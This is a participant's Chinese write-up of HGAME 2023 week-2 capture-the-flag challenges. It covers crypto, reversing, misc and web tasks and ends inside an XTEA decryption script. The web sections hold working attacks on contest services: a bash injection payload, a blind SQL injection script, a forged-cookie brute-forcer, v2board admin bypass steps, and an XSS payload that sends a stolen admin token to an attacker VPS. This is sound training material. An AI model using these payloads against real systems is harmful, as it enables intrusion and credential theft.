HGAME 2023 将于 1 月 5 日 20:00 正式开始，祝大家玩得开心 :-)
线上赛平台：https://hgame.vidar.club
请尽快注册，注册时请选择校外选手，注册将于 1 月 12 日 20:00 关闭
本次比赛的奖励事宜以及赛后沟通反馈以邮件为主，请各位使用真实的邮件地址
比赛奖金(针对校外榜)：
第1名：1000Pwnhub金币
第2名：800Pwnhub金币
第3名：600Pwnhub金币
4-10名：300Pwnhub金币
补充说明：排行榜分数相同者，以先达到该分数的时间次序划定排名，每位获奖选手额外赠送 Pwnhub 邀请码一个
注意：
* 所有选手均以个人为单位参赛；
* 在解题过程中遇到瓶颈或困难可以私聊出题人
* 禁止所有破坏比赛公平公正的行为，如：散播或与其他人交换 Flag、解题思路，对平台、参赛者或其他人员进行攻击。违者分数作废并取消比赛资格。
* HGAME 线上赛分为四周，每周至官方wp发布前前禁止一切讨论本周题目以及公开自己 wp 的行为。在收集完成后会开放讨论，但仅能讨论已结束的题目。
* 每周比赛结束后本周前20名需提交wp到指定邮箱
本比赛最终解释权归 Vidar-Team 所有

Rank: 8

Misc

Tetris Master

> 你是否已经厌倦了普通的游戏题目，对于写脚本玩游戏感到无聊？ 此题你需要能够实现RCE，拿到根目录下的flag，又或者你是真正的 Tetris Master？
>
> 请使用ssh进行连接，账号为ctf,密码为hgame，例如ssh ctf@week-2.hgame.lwsec.cn -p port。并且你需要将终端的字体调小，使窗口大小至少为 200 * 70 才能正常进行游戏。
>
> HINTS:
>
> 题目描述已更新，同时由于存在非预期，题目分数降至50,并上线100分的Revenge版本。

连接：`ssh ctf@week-2.hgame.lwsec.cn -p 32150`

按 Ctrl+C 强制结束拿到shell，`cat flag` 得flag：`hgame{Bash_Game^Also*Can#Rce}`。

Tetris Master Revenge

> the same as Tetris Master

bash命令执行，参考ByteCTF 2022 - bash_game，在读入 `target` 值进入 `paint_game_over()` 内，比较时 `[[]]` 操作符会造成RCE。

```
paint_game_over() {
    local xcent=$((`tput lines`/2)) ycent=$((`tput cols`/2))
    local x=$((xcent-4)) y=$((ycent-25))
    for (( i = 0; i < 10; i++ )); do
        echo -ne "\033[$((x+i));${y}H\033[44m${good_game[$i]}\033[0m";
    done
    if [[ "$master" -eq "y" ]] && [[ "$score" -gt 50000 ]]; then
        echo -ne "\033[$((x+3));$((ycent+1))H\033[44m`cat /flag`\033[0m";
    elif [[ "$master" -ne "y" ]] && [[ "$score" -gt "$target" ]]; then
        echo -ne "\033[$((x+3));;$((ycent+1))H\033[44mKeep Going\033[0m"
    else
        echo -ne "\033[$((x+3));$((ycent+1))H\033[44m${score}\033[0m";
    fi
}
```

ssh连接，选择 `n`，输入目标分数 `r[$(cat /flag)]`，确认进入游戏，快速结束一局后在结果处以报错形式输出flag：`hgame{Bash_Game^Also*Can#Rce^reVenge!!!!}`。

Sign In Pro Max

> 兔兔没有抢到回家的车票，一个猫猫头像的学长给了他一个候补车票抢票软件，但是这个软件的验证码太难了，你能帮他解一下吗？
> flag 英文字母为全小写，自行使用 hgame{}包裹后提交

五个部分：

Part1：base64+base58+base32，得到 `f51d3a18`；

Part2：md5，得到 `f91c`；

Part3：sha1，得到 `4952`；

Part4：sha256，得到 `a3ed`；

Part5：rot21，得到 `Part5 is 0bc0ea61d21c, now put all the parts together, don't forget the format.`

按UUID格式连接得flag：`hgame{f51d3a18-f91c-4952-a3ed-0bc0ea61d21c}`。

crazy_qrcode

> 兔兔在买年货,但是看着商家的付款二维码犯了难

png图片的二维码无法扫描，使用QRazyBox导入，利用自带工具 Brute-force Format Info Pattern 可以得到：

```
Decoded Message :
QDjkXkpM0BHNXujs
Error Correction Level : H
Mask Pattern : 4
```

使用 `QDjkXkpM0BHNXujs` 解压zip压缩包，得到25张分割的二维码图片，以及一个25长度的数组。

1为90°旋转，2为180°旋转，3为270°旋转，0为不旋转，?为需选择其中一个值调整。

按照5×5拼接好后扫描得到flag：`hgame{Cr42y_qrc0de}`。

Crypto

Rabin

> 看起来非常像RSA呢。

```python
from Crypto.Util.number import *

def gen_key(kbits):
    while True:
        p = getPrime(kbits)
        q = getPrime(kbits)
        if p % 4 == 3 and q % 4== 3:
            break
    return p, q

p ,q = gen_key(256)
flag =  open("flag", 'rb').read()
pt = bytes_to_long(flag)
c = pow(pt, 2, p*q)

print(f"p={p}\nq={q}")
print(f"c={hex(c)[2:]}")

"""
p=65428327184555679690730137432886407240184329534772421373193521144693375074983
q=98570810268705084987524975482323456006480531917292601799256241458681800554123
c=4e072f435cbffbd3520a283b3944ac988b98fb19e723d1bd02ad7e58d9f01b26d622edea5ee538b2f603d5bf785b0427de27ad5
c76c656dbd9435d3a4a7cf556
"""
```

$e=2$，Rabin算法解RSA。

```python
import gmpy2

def rabin_decrypt(c, p, q, e=2):
    n = p * q
    mp = pow(c, (p + 1) // 4, p)
    mq = pow(c, (q + 1) // 4, q)
    yp = gmpy2.invert(p, q)
    yq = gmpy2.invert(q, p)
    r = (yp * p * mq + yq * q * mp) % n
```

```
    rr = n - r
    s = (yp * p * mq - yq * q * mp) % n
    ss = n - s
    return (r, rr, s, ss)

p = 65428327184555679690730137432886407240184329534772421373193521144693375074983
q = 98570810268705084987524975482323456006480531917292601799256241458681800554123
c =
0x4e072f435cbffbd3520a283b3944ac988b98fb19e723d1bd02ad7e58d9f01b26d622edea5ee538b2f603d5bf785b0427de27ad5c76c6
56dbd9435d3a4a7cf556
m = rabin_decrypt(c,p,q)
for i in range(4):
    try:
        print(bytes.fromhex(hex(m[i])[2:]))
    except:
        pass

# b'hgame{That'5_s0_3asy_to_s@lve_r@bin}'
```

RSA 大冒险1

> 马上要过年喽，兔兔开心地去超市买年货，但是超市门口却写着"只有完成挑战才能进入超市"，你能帮帮兔兔吗

```
# challenge1.py
from Crypto.Util.number import *
from challenges import chall1_secret
class RSAServe:
    def __init__(self) -> None:
        self.e = 65537
        self.p = getPrime(128)
        self.q = getPrime(100)
        self.r = getPrime(100)
        self.m = chall1_secret

    def encrypt(self):
        m_ = bytes_to_long(self.m)
        c = pow(m_, self.e, self.p*self.q*self.r)
        return hex(c)

    def check(self, msg):
        return msg == self.m

    def pubkey(self):
        return self.p*self.q*self.r, self.e, self.p
```

```
# challenge2.py
from Crypto.Util.number import *
from challenges import chall2_secret

class RSAServe:
    def __init__(self) -> None:
        self.p = getPrime(512)
        self.q = getPrime(512)
        self.e = 65537
        self.m = chall2_secret

    def encrypt(self):
        m_ = bytes_to_long(self.m)
        c = pow(m_ ,self.e, self.p*self.q)
        self.q = getPrime(512)
        return hex(c)

    def check(self, msg):
        return msg == self.m

    def pubkey(self):
        return self.p*self.q, self.e
```

```
# challenge3.py
from Crypto.Util.number import *
from challenges import chall3_secret

class RSAServe:
    def __init__(self) -> None:
        self.p = getPrime(512)
        self.q = getPrime(512)
```

```
        self.e = 3
        self.m = chall3_secret

    def encrypt(self):
        m_ = bytes_to_long(self.m)
        c = pow(m_, self.e, self.p*self.q)
        return hex(c)

    def check(self, msg):
        return msg == self.m

    def pubkey(self):
        return self.p*self.q, self.e
```

```
# challenge4.py
from Crypto.Util.number import *
from challenges import chall4_secret

class RSAServe:
    def __init__(self) -> None:
        self.p = getPrime(512)
        self.q = getPrime(512)
        self.e = getPrime(17)
        self.m = chall4_secret

    def encrypt(self):
        m_ = bytes_to_long(self.m)
        c = pow(m_, self.e, self.p*self.q)
        self.e = getPrime(17)
        return hex(c)

    def check(self, msg):
        return msg == self.m

    def pubkey(self):
        return self.p*self.q, self.e
```

求解四层RSA拿flag。

第一层，$m < p$，无需完全分解 n。

```
n = 32234181714042485431054643044392711876574813171426974560716854902657038929966176484436506294803643 7
e = 65537
p = 30419895343462085153295221629012083785 3
c = 0x22ca52bc2ed70d7133a0916529d73ed1e91f36f6d7d7118d40de0cdae89c692d637a28727a4b90077d
d = inverse_mod(e,p-1)
m = int(pow(c%p,d,p))
print(bytes.fromhex(hex(m)[2:]))
# b'm<n_But_also_m<p'
```

第二层，$\gcd(n1, n2) = p$，交互两次数据。

```
n1 =
85985649208163776168434106703299680942043569819886697084537149593016735251489437349033723731635167019919946528
40899179758914930696459326924084348977339381636105043873721763026822026547744940844008773190514388217296640180
61199784924092847613509644373893193547320326360673872148697659425379004082550465549773 17
c1 =
0x75124a122559d227bb846448b401877c86e7ac67dc5a1329622a6b54bbae91d3bc5a9afb859d86d90ac24cdd76cc7fa0763be082d9aa
9f0c487d44f7a0725d6f195d6168837468c505f92dd1da29b618e3de01292a9592a1b2ce3d4dcdc4cad202c3c1fe190bb2469cf401b1a2
fef29b8e487db908f30085e262ef84e6501118
n2 =
59612565629569243187927748458601473421039478282275869456898180179757129074951912462324655640636883153553671190
31860549389764496730809425900827399395893370863867194294400357166674909828952752862858292501698669615070964191
46064850114065789476806241072675003026312836612419519794310080983958024570514503789362 63
c2 =
0x23db0d9129161ba5318a43bf18db2ac276faa8e6f75b9a48250dbbc04de5b6a67764f8f8917f3f11e4b7308d7563f262500abcc59f0d
c44bdc20d438e9ad424dbf7b7187b6cab4eeb5b32fdeb800e8dd6afcea3f97d97bac3be5a5fe9fbb06717dbf43f68cf0f91754e4f89e9a
606b21c1467d3b8a7a0ed10e40f3bfb1e81a6a
e = 65537
p = gcd(n1,n2)
q1 = n1//p
f = (p-1)*(q1-1)
d = inverse_mod(e,f)
m = pow(c1,d,n1)
print(bytes.fromhex(hex(m)[2:]))
#b'make_all_modulus_independent'
```

第三层，$e = 3$，$m^e < n$，小 e 攻击。

```
import gmpy2
n =
627043978943916664792950803092519411920006534543967298070603954163912024442603837065547034188327203369008624244546468572902916888322496015828504899265156305141031072599413157968615953304148574997883297304671817276403909681067517897525838826325949741539708778674693820832067243588555941170057932869249647863 09
e = 3
c =
0xfec61958cefda3eb5f709faa0282bffaded0a323fe1ef370e05ed3744a2e53b55bdd43e9594427c35514505f26e4691ba86c6dcff6d29d69110b15b9f84b0d8eb9ea7c03aaf24fa957314b89febf46a615f81ec031b12fe725f91af9d269873a69748
m = gmpy2.iroot(c,e)[0]
print(bytes.fromhex(hex(m)[2:]))
#b'encrypt_exponent_should_be_bigger'
```

第四层，共模攻击，交互两次数据。

```
import gmpy2 as gp
def egcd(a, b):
    if a == 0:
        return (b, 0, 1)
    else:
        g, y, x = egcd(b % a, a)
        return (g, x - (b // a) * y, y)

n =
95910070679089754882020609736361209978330742771232029437332648538529286081128112666433856280432204891053831926879516053786710256434719058164494668021689267490579582989448124586518700994273232858281123929454653035358779110102882528619796861827968986375140987711988221162025924201304147782787221328299013679367
e1 = 81919
c1 =
0x1d884ae280842f2c9f26fd4ec97d3e4d8d58cbe2ec0420f2179451663b873989d9dac3d796f6be72c982f82cd96dc346620c7028e48d0059acaa0242b36646c82e08a3e327ca0e2ee5f5cba574ad02953f3302963cd75760ea6bb5d8bc955b0b3d1c4f885d20cb8bb2d720331cba9fb0fb6a433e2b1f1ac588cf820be4169add
e2 = 108041
c2 =
0x69bd0266cd0c825ea1ac562385bb42be7040e1002e31f73c4139127577aa1d9d2a5cc05236bf03afb126202609e9fecc717bd229145bc7c5972a05476a8b66b8be1740f4f468ac24e9d8ed3ed5836a537aed77ad910bbb185a0421ed9faf97776e128058563ef0520e9fdf6ad47408da86ed02ab46761b962f8f34750c3791e1

s = egcd(e1, e2)
s1 = s[1]
s2 = s[2]
if s1<0:
    s1 = - s1
    c1 = gp.invert(c1, n)
elif s2<0:
    s2 = - s2
    c2 = gp.invert(c2, n)

m = pow(c1,s1,n)*pow(c2,s2,n) % n
print(bytes.fromhex(hex(m)[2:]))
#b'never_uese_same_modulus'
```

四次提交正确得flag：`hgame{wOw_you^knowT^e_CoMmOn_&t$ack_@bout|RSA}`。

包里有什么

> 兔兔收到了一包年货，但是他忘了里面有什么了。

```
from random import randint
from libnum import gcd, s2n

from secret import flag

plain = flag[6:-1]
assert flag == 'hgame{' + plain + '}'
v = bin(s2n(plain))[2:]
l = len(v)
a = [2 << i for i in range(l)]
m = randint(sum(a), 2 << l + 1)
w = randint(0, m)
assert gcd(w, m) == 1
b = [w * i % m for i in a]

c = 0
for i in range(l):
    c += b[i] * int(v[i])
```

```
print(f'm = {m}')
print(f'b0 = {b[0]}')
print(f'c = {c}')

# m = 152863722253103833295869496511433041577389657189101762949342 4
# b0 = 693566065333254565209687760347302145851105369329893131379 26
# c = 936020621334873611514207530577393971617346516097865987654621 62
```

先利用 b_0 求 w，再解背包密码。

```
m = 152863722253103833295869496511433041577389657189101762949342 4
b0 = 693566065333254565209687760347302145851105369329893131379 26
c = 936020621334873611514207530577393971617346516097865987654621 62

w = b0//2

# 预估长度
for k in range(3):
    l = m.nbits() - k
    a = [2 << i for i in range(l)]
    b = [w * i % m for i in a]

    pk =  b
    ct =  c
    n = len(pk)

    M = Matrix.identity(n) * 2

    last_row = [1 for x in pk]
    M_last_row = Matrix(ZZ, 1, len(last_row), last_row)

    last_col = pk
    last_col.append(ct)
    M_last_col = Matrix(ZZ, len(last_col), 1, last_col)

    M = M.stack(M_last_row)
    M = M.augment(M_last_col)

    X = M.BKZ()

    sol = []
    for i in range(n + 1):
        testrow = X.row(i).list()[:-1]
        if set(testrow).issubset([-1, 1]):
            for v in testrow:
                if v == 1:
                    sol.append(0)
                elif v == -1:
                    sol.append(1)
            break

    s = bytes.fromhex(hex(int(''.join(map(str,sol)),2))[2:])
    print(s)

# b':/b2\x83.F\x832z2\x1a\x82v{\x1a\x82z2G"\x82z/\x03'
# b'b\xe8N\xe6\xbeh\xdc\xbef\xc2\xe6\xf2\xbe\xc4\xc2r\xbe\xd2\xe6\xdcn\xbe\xd2\xe8~'
# b"1t's_4n_3asy_ba9_isn7_it?"
```

零元购年货商店

> 听说兔兔要买年货，正好提瓦特大陆的璃月海灯节也要到了，tr0uble特地为兔兔准备了一份flag大礼。嗯，你也想要？不可以哦。

`router/router.go` 里主要逻辑：

```
func loginController(c *gin.Context) {
    _, err := c.Cookie("token")
    if err == nil {
        c.Redirect(http.StatusFound, "/home")
    }
    userName := c.PostForm("username")
    if userName == "Vidar-Tu" {
        c.String(http.StatusForbidden, "兔兔才不可能是你呢！！")
    }
    User := user.User{Name: userName, Created: time.Now().Unix(), Uid: "230555433"}
    jsonUser, _ := json.Marshal(User)
    token, _ := util.Encrypt(string(jsonUser))
```

```
    c.SetCookie("token", token, 3600, "/", "", false, true)
    c.Redirect(http.StatusFound, "/home")
}

func buyController(c *gin.Context) {
    method := c.Request.Method
    token, err := c.Cookie("token")
    if err != nil {
        c.String(http.StatusForbidden, "没有身份的人可不能来这儿买东西。")
    }
    jsonUser, err := util.Decrypt(token)
    if err != nil {
        c.String(http.StatusBadGateway, err.Error())
    }
    User := user.User{}
    err = json.Unmarshal([]byte(jsonUser), &User)
    if err != nil {
        c.String(http.StatusBadGateway, err.Error())
    }
    name := User.Name
    if method != http.MethodGet {
        c.String(http.StatusMethodNotAllowed, fmt.Sprintf("your method: %s. but only get method allowed",
method))
    } else {
        product := c.Query("prod")
        if product == "flag" {
            if name != "Vidar-Tu" {
                c.String(http.StatusOK, "flag 可是特地为兔兔准备的！")
            } else {
                file, _ := os.Open("flag.txt")
                flag, _ := io.ReadAll(file)
                c.String(http.StatusOK, fmt.Sprintf("%s buy %s successfully\n%s", name, product, flag))
            }
        } else {
            c.String(http.StatusOK, fmt.Sprintf("%s buy %s successfully", name, product))
        }

    }
}
```

需要token里userName值为 `Vidar-Tu` ，但不能直接输入 `Vidar-Tu` 。

查看 `util/util.go` 里：

```
package util

import (
    "crypto/aes"
    "crypto/cipher"
    "crypto/rand"
    "encoding/base64"
    "errors"
)

var key = make([]byte, 16)
var iv = make([]byte, 16)

func init() {
    _, _ = rand.Read(key)
    _, _ = rand.Read(iv)
}

func Encrypt(u string) (string, error) {
    block, err := aes.NewCipher(key)
    if err != nil {
        return "", err
    }
    plainText := []byte(u)
    blockMode := cipher.NewCTR(block, iv)
    cipherText := make([]byte, len(plainText))
    blockMode.XORKeyStream(cipherText, plainText)
    return base64.StdEncoding.EncodeToString(cipherText), nil
}

func Decrypt(cipherText string) (string, error) {
    decodeData, err := base64.StdEncoding.DecodeString(cipherText)
    if err != nil {
        return "", errors.New("invalid base64")
    }
    block, err := aes.NewCipher(key)
```

```
    blockMode := cipher.NewCTR(block, iv)
    plainText := make([]byte, len(decodeData))
    blockMode.XORKeyStream(plainText, decodeData)
    return string(plainText), nil
}
```

token的使用AES-CTR模式加密生成，而在CTR模式中， 有一个自增的算子（IV，后四个字节相当于计数器，每次计算递增），这个算子用密钥加密之后的输出和明文异或的结果得到密文，相当于一次一密，即 $m \oplus \text{keystream} = c$。

用户名和token为一一对应关系，输入 `Vidar-Tv` 和 `Vidar-Tw` 获取对应token的base64字符串，找到改变的字符，爆破：

```
import requests
import string
from urllib.parse import quote

s = requests.Session()

dic = string.ascii_letters+string.digits+'+/'
for k in dic:
    token = f'NnL3arZc7tt+ezcky+B8fF{k}75UtdWR6yUOD2rbYBBnIFPp1Rl/HXFxRPBwNeTzi2R2Wm5AVZQRwt+A=='
    url = 'http://week-2.hgame.lwsec.cn:30036/buy?prod=firecracker'
    r = s.get(url, cookies={'token':quote(token)})
    if 'Vidar-Tu' in r.text:
        print(k,quote(token),r.text)

# 6 NnL3arZc7tt%2Bezcky%2BB8fF675UtdWR6yUOD2rbYBBnIFPp1Rl/HXFxRPBwNeTzi2R2Wm5AVZQRwt%2BA%3D%3D Vidar-Tu buy
firecracker successfully
```

修改cookie中的token，购买flag，得到flag：`hgame{5o_Eas9_6yte_flip_@t7ack_wi4h_4ES-CTR}`。

Web

Git Leakage

> 电视剧里的黑客?真正的黑客！

题目即提示，git泄露。

访问 `http://HOST:PORT/.git/`，使用wget下载git目录：

`wget -r http://week-2.hgame.lwsec.cn:31765/.git/`

进入 `.git/logs`，使用 `git reflog` 查看所有分支的所有操作记录（包括已经被删除的 commit 记录和 reset 的操作）；

选择需要查看的记录，`git show 1dd69e2` 拿到flag：`hgame{Don't^put*Git-in_web_directory}`。

v2board

> 请尝试获取Admin用户的订阅链接，flag格式为hgame{admin用户订阅链接中的token值}。

v2board存在越权漏洞，参考v2board越权漏洞复现。

首先注册一个普通用户账号，然后通过 `http://HOST:PORT/api/v1/passport/auth/login` 接口登录该账号，会返回一个 `auth_data` 值；

然后访问 `http://HOST:PORT/api/v1/user/login` 接口，并将上述获得的 `auth_data` 作为authorization头发送，让服务器将普通用户的Authorization头写入缓存中；

最后只要带上这个Authorization头即可访问所有的管理员接口。

访问 `http://HOST:PORT/api/v1/admin/user/fetch?pageSize=10&current=1`，得到flag：`hgame{39d580e71705f6abac9a414def74c466}`。

Search Commodity

> R1esbyfe给兔兔写了一个简易的查询面板，只需要输入id数字，就可以查到兔兔最近买的东西（包括年货）
>
> R1esbyfe:"面板登陆用户名是user01,密码……忘了，反正是个比较好猜的密码"
>
> 貌似R1esbyfe还藏了点惊喜，你能帮助兔兔找到它吗？
>
> (数据库启动需要时间，若出现Internal Error，需要稍等片刻)
>
> HINTS:
>
> 密码是弱密码，可以自己找个dict爆破一下

根据hint猜密码 `admin123`，sql注入，fuzz发现过滤了空格、select、database、or、等号、大小于号等关键字。关键字改大写，等号改 `regexp` 绕过。

布尔盲注：

```python
import requests
import string

dic = string.digits+string.ascii_letters+'{}-_?!,'
s = requests.Session()

url = 'http://week-2.hgame.lwsec.cn:30685/search'
now = ''
for i in range(1,100):
    flag = 0
    for j in dic:
        #sql = 'SELECT(DATABASE())'
        #sql =
'SELECT(group_concat(table_name))FROM(information_schema.tables)WHERE((table_schema)regexp("se4rch"))'
        #sql =
'SELECT(group_concat(column_name))FROM(information_schema.columns)WHERE((table_name)regexp("5ecret15here"))'
        sql = 'SELECT(hex(f14gggg1shere))FROM(se4rch.5ecret15here)'
        payload = f"0^(substr(({sql}),{i},1)regexp('{j}'))"
        #print(payload)
        data = {'search_id':payload}
        cookie =
{'SESSION':'MTY3MzYyOTg3OXxEdi1CQkFFQ180SUFBUkFCRUFBQUpQLUNBQUVHYzNSeWFXNW5EQVlBQkhWelpYSUdjM1J5YVc1bkRBZOFCbl
Z6WlhJdO1RPT18Znqyk--boNReiPrlLxxyJOFrSzzwttTHP8L2NJy6KFg='}
        r = s.post(url,data=data,cookies=cookie)
        #print(r.text)
        if 'hard disk' in r.text:
            now += j
            print(now)
            flag = 1
            break
    if flag == 0:
        break

# database: se4rch
# table: 5ecret15here,L1st,user1nf0
# column: f14gggg1shere
# 6867616d657b345f4d346e5f5748305f4b6e3077735f5765346b2d5034737357307264 5f416e645f53514c217d
```

得到flag：`hgame{4_M4n_WHO_KnOws_We4k-P4ssW0rd_And_SQL!}`。

Designer

> Come and design your button

在 `index.js` 中 `/button/share` 路由会调用 `/button/preview` 路由：

```javascript
app.post("/button/share", auth, async (req, res) => {
  const browser = await puppeteer.launch({
    headless: true,
    executablePath: "/usr/bin/chromium",
    args: ['--no-sandbox']
  });
  const page = await browser.newPage()
  const query = querystring.encode(req.body)
  await page.goto('http://127.0.0.1:9090/button/preview?' + query)
  await page.evaluate(() => {
    return localStorage.setItem("token", "jwt_token_here")
  })
  await page.click("#button")

  res.json({ msg: "admin will see it later" })
})

app.get("/button/preview", (req, res) => {
  const blacklist = [
    /on/i, /localStorage/i, /alert/, /fetch/, /XMLHttpRequest/, /window/, /location/, /document/
  ]
  for (const key in req.query) {
    for (const item of blacklist) {
      if (item.test(key.trim()) || item.test(req.query[key].trim())) {
        req.query[key] = ""
      }
    }
  }
  res.render("preview", { data: req.query })
})
```

测试发现 `/button/preview` 路由存在XSS注入，尝试XSS请求伪造：

```
var xhr=new XMLHttpRequest();
xhr.open("POST","http://127.0.0.1:9090/user/register",false);
xhr.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
xhr.send(JSON.stringify({"username":"admin"}));
url="http://VPS-IP/x.php?token="+String(xhr.responseText);
var xhr2=new XMLHttpRequest();
xhr2.open("GET",url,false);
xhr2.send("token");
```

admin点击后，生成正确token，发送到VPS的apache日志中：

```
[16/Jan/2023:01:01:39 +0800] "GET /x.php?token=
{%22token%22:%22eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmbGFnIjoiaGdhbWV7Yl9jNHJlX2FiMHV0X3Byb3AzcnQxdHlfaW5qRWN0aU9ufSIsImlhdCI6MTY3MzgwMjA5OX0.pthLzDWpdJf3vb1pEBZbAknqfCq9OxpL4ntnE3wpKdY%22} HTTP/1.1" 200 416
"http://127.0.0.1:9090/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko)
HeadlessChrome/109.0.5414.74 Safari/537.36"
```

解析jwt，得到flag：`hgame{b_c4re_abOut_prop3rt1ty_injEctiOn}`。

Reverse

before_main

在 `sub_558AEC339229()` 中使用 `ptrace(PTRACE_TRACEME, 0LL, 0LL, 0LL)` 机制将base64码表修改：

```
__int64 sub_558AEC339229()
{
  __int64 result; // rax

  result = ptrace(PTRACE_TRACEME, 0LL, 0LL, 0LL);
  if ( result != -1 )
  {
    strcpy((char *)&qword_558AEC33C020, "qaCpwYM2tO/RPOXeSZv8kLd6nfA7UHJ1No4gF5zr3VsBQbl9juhEGymc+WTxIiDK");
    return 0x636D79474568756ALL;
  }
  return result;
}
```

再解码即可，flag：`hgame{sOmeth1ng_run_befOre_m@in}`。

stream

> 兔兔假期前学习了编程，你能看出来他学的是什么语言吗

python程序逆向，使用pyinstxtractor将exe解包得到 `stream.pyc` 文件，再用uncompyle6反编译，得到源码：

```
# Source Generated with Decompyle++
# File: stream.pyc (Python 3.8)

import base64

def gen(key):
Warning: block stack is not empty!
    s = list(range(256))
    j = 0
    for i in range(256):
        j = (j + s[i] + ord(key[i % len(key)])) % 256
        tmp = s[i]
        s[i] = s[j]
        s[j] = tmp
        i = j = 0
        data = []
        for _ in range(50):
            i = (i + 1) % 256
            j = (j + s[i]) % 256
            tmp = s[i]
            s[i] = s[j]
            s[j] = tmp
            data.append(s[(s[i] + s[j]) % 256])
            return data


def encrypt(text, key):
```

```
Warning: block stack is not empty!
    result = ''
    for c, k in zip(text, gen(key)):
        result += chr(ord(c) ^ k)
        result = base64.b64encode(result.encode()).decode()
        return result

text = input('Flag: ')
key = 'As_we_do_as_you_know'
enc = encrypt(text, key)
if enc == 'wr3ClVcSw7nCmMOcHcKgacOtMkvDjxZ6asKWw4nChMK8IsK7KMOOasOrdgbDlx3DqcKqwrOhw7O1Ly57w63CtcOl':
    print('yes!')
    return None
None('try again...')
```

识别为RC4加密算法，cyberchef解出flag：`hgame{python_reverse_is_easy_with_internet}`。

math

> 由于兔兔的学校提前放假，开学才能期末考试，于是兔兔开始了他的寒假期末复习~

实际为解非齐次线性方程组，矩阵乘法逆运算，这里使用z3求解：

```
from z3 import *

x = [126, 225, 62, 40, 216, 253, 20, 124, 232, 122, 62, 23, 100, 161, 36, 118, 21, 184, 26, 142, 59, 31, 186,
82, 79]
out = [0] * len(x)
c = [63998, 33111, 67762, 54789, 61979, 69619, 37190, 70162, 53110, 68678, 63339, 30687, 66494, 50936, 60810,
48784, 30188, 60104, 44599, 52265, 43048, 23660, 43850, 33646, 44270]

s = Solver()
f = [Int(f'f{i}') for i in range(25)]
ff = f[:]

for i in range(5):
    for j in range(5):
        tmp = 0
        for k in range(5):
            out[5*i+j] += ff[5*i+k] * x[5*k+j]
        s.add(out[5*i+j] == c[5*i+j])


s.check()
m = s.model()
flag = ''
for i in range(25):
    flag += chr(m[f[i]].as_long())

print(flag)

# hgame{yOur_m@th_1s_gOOd}
```

VidarCamera

> 兔兔最近在学习Android开发，这是他抄的相机程序

apk内关键代码：

```
private final int[] m229encrypthkIa6DI(int[] iArr) {
    int i;
    int[] m446constructorimpl = UIntArray.m446constructorimpl(4);
    UIntArray.m457setVXSXFK8(m446constructorimpl, 0, 2233);
    UIntArray.m457setVXSXFK8(m446constructorimpl, 1, 4455);
    UIntArray.m457setVXSXFK8(m446constructorimpl, 2, 6677);
    UIntArray.m457setVXSXFK8(m446constructorimpl, 3, 8899);
    int i2 = 0;
    while (i2 < 9) {
        int i3 = 0;
        int i4 = 0;
        do {
            i3++;
            i = i2 + 1;
```

```
            UIntArray.m457setVXSXFK8(iArr, i2, UInt.m393constructorimpl(UIntArray.m452getpVg5ArA(iArr, i2) +
UInt.m393constructorimpl(UInt.m393constructorimpl(UInt.m393constructorimpl(UIntArray.m452getpVg5ArA(m446constr
uctorimpl, UInt.m393constructorimpl(i4 & 3)) + i4) ^
UInt.m393constructorimpl(UInt.m393constructorimpl(UInt.m393constructorimpl(UIntArray.m452getpVg5ArA(iArr, i)
<< 4) ^ UInt.m393constructorimpl(UIntArray.m452getpVg5ArA(iArr, i) >>> 5)) + UIntArray.m452getpVg5ArA(iArr,
i))) ^ i4)));
            UIntArray.m457setVXSXFK8(iArr, i, UInt.m393constructorimpl(UIntArray.m452getpVg5ArA(iArr, i) +
UInt.m393constructorimpl(UInt.m393constructorimpl(UInt.m393constructorimpl(UInt.m393constructorimpl(UIntArray.
m452getpVg5ArA(iArr, i2) << 4) ^ UInt.m393constructorimpl(UIntArray.m452getpVg5ArA(iArr, i2) >>> 5)) +
UIntArray.m452getpVg5ArA(iArr, i2)) ^ UInt.m393constructorimpl(UIntArray.m452getpVg5ArA(m446constructorimpl,
UInt.m393constructorimpl(UInt.m393constructorimpl(i4 >>> 11) & 3)) + i4))));
            i4 = UInt.m393constructorimpl(i4 + 878077251);
        } while (i3 <= 32);
        i2 = i;
    }
    return iArr;
}

public static final void m230onCreate$lambda0(EditText inputsomething, CameraActivity this$0, AlertDialog
alertDialog, View view) {
    Intrinsics.checkNotNullParameter(inputsomething, "$inputsomething");
    Intrinsics.checkNotNullParameter(this$0, "this$0");
    String obj = inputsomething.getText().toString();
    if (obj.length() != 40) {
        Toast.makeText(this$0, "序列号不正确", 0).show();
        return;
    }
    int[] m446constructorimpl = UIntArray.m446constructorimpl(10);
    for (int i = 0; i < 40; i += 4) {
        UIntArray.m457setVXSXFK8(m446constructorimpl, i / 4,
UInt.m393constructorimpl(UInt.m393constructorimpl(UInt.m393constructorimpl(UInt.m393constructorimpl(obj.charAt
(i)) + UInt.m393constructorimpl(obj.charAt(i + 1) << '\b')) + UInt.m393constructorimpl(obj.charAt(i + 2) <<
16)) + UInt.m393constructorimpl(obj.charAt(i + 3) << 24)));
    }
    int[] m229encrypthkIa6DI = this$0.m229encrypthkIa6DI(m446constructorimpl);
    UInt[] uIntArr = {UInt.m387boximpl(637666042), UInt.m387boximpl(457511012), UInt.m387boximpl(-2038734351),
UInt.m387boximpl(578827205), UInt.m387boximpl(-245529892), UInt.m387boximpl(-1652281167),
UInt.m387boximpl(435335655), UInt.m387boximpl(733644188), UInt.m387boximpl(705177885),
UInt.m387boximpl(-596608744)};
    int i2 = 0;
    while (true) {
        int i3 = i2 + 1;
        if (uIntArr[i2].m444unboximpl() != UIntArray.m452getpVg5ArA(m229encrypthkIa6DI, i2)) {
            Toast.makeText(this$0, "序列号不正确", 0).show();
            return;
        } else if (i3 > 9) {
            alertDialog.dismiss();
            return;
        } else {
            i2 = i3;
        }
    }
}
```

魔改XTEA加密，修改了delta、异或操作和加密顺次，解密脚本在相应地方修改：

```
from Crypto.Util.number import *

def decrypt(v, k):
    v0 = v[0]
    v1 = v[1]
    delta = 0x34566543
    x = delta * 33
    for i in range(33):
        x -= delta
        x = x & 0xFFFFFFFF
        v1 -= (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (x + k[(x >> 11) & 3])
        v1 = v1 & 0xFFFFFFFF
        v0 -= (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (x + k[x & 3]) ^ x
        v0 = v0 & 0xFFFFFFFF
    v[0] = v0
    v[1] = v1
    return v

